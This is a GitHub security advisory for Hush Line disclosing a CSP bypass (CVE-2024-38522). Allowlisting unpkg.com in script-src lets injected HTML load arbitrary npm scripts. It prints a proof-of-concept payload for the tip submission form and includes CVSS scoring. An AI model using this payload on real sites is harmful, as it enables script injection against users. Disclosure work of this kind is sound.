Skip to content

[Dev Beta] CSP bypass

Moderate
glenn-sorrentino published GHSA-r85c-95x7-4h7q Jun 25, 2024

Package

Hush Line

Affected versions

Dev Beta

Patched versions

Dev Beta

Description

Summary

The CSP policy applied on the tips.hushline.app website and bundled by default in this repository is trivial to bypass.

Details

Having whitelisted a source that allows for user-uploaded package is like not having a policy at all.

script-src 'self' https://js.stripe.com https://unpkg.com;

In unpkg.com words:

unpkg is a fast, global content delivery network for everything on npm. Use it to quickly and easily load any file from any package using a URL like:

Chained with the persistent XSS reported together this allows an attacker with HTML injection capabilities full JavaScript execution.

PoC

To demo, just submit in the tip submission form:

"><script src="https://unpkg.com/[email protected]/dist/sval-classic.js"></script>
<br csp="alert(1)">

(as mentioned in the other issue, even if encryption is on it is trivial to bypass)

Impact

The CSP is fully bypassed.

Note: I tried to report this as suggested in Security.md via the scidsg tipline. Received no reply in ~5 days. It is also quite unsettling that someone has specifically audited the CSP and stated "All versions of Hush Line also implemented a hardened Content Security Policy (CSP).".

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

CVE ID

CVE-2024-38522

Weaknesses

Credits